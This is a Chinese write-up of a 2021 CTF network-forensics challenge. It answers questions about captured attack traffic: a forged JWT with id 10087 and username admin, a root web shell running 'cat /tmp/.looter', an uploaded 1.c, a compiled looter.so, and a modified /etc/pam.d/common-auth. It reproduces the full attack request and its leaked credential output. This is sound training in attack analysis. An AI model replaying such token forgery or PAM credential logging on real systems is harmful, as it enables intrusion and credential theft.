2021陇剑杯网络安全大赛-JWT
题目描述:
昨天,单位流量系统捕获了黑客攻击流量,请您分析流量后进行回答:
解题思路:
2.1该网站使用了___jwt___认证方式。(如有字母请全部使用小写)
2.2黑客绕过验证使用的jwt中,id和username是_10087#admin_。(中间使用#号隔开,例如1#admin)
POST /exec HTTP/1.1
Host: 192.168.2.197:8081
Content-Length: 26
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.2.197:8081
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.2.197:8081/exec
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=3f8coeg6hm9vf0h5lcoifmk8o5; token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MTAwODcsIk1hcENsYWltcyI6eyJ1c2VybmFtZSI6ImFkbWluIn19.rurQD5RYgMrFZow8r-k7KCP13P32sF-RpTXhKsxzvD0
Connection: close
command=cat%20/tmp/.looterHTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Date: Sat, 07 Aug 2021 05:25:45 GMT
Content-Length: 453
Connection: close
alert(“Username root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\nUsername root\nPassword: flag{test_flag}\n”)
window.location.href="/exec";
id值jwt 解密
2.3黑客获取webshell之后,权限是___root___?
2.4黑客上传的恶意文件文件名是__1.c__。(请提交带有文件后缀的文件名,例如x.txt)
2.5黑客在服务器上编译的恶意so文件,文件名是__looter.so__。(请提交带有文件后缀的文件名,例如x.so)
2.6黑客在服务器上修改了一个配置文件,文件的绝对路径为__/etc/pam.d/common-auth__。(请确认绝对路径后再提交)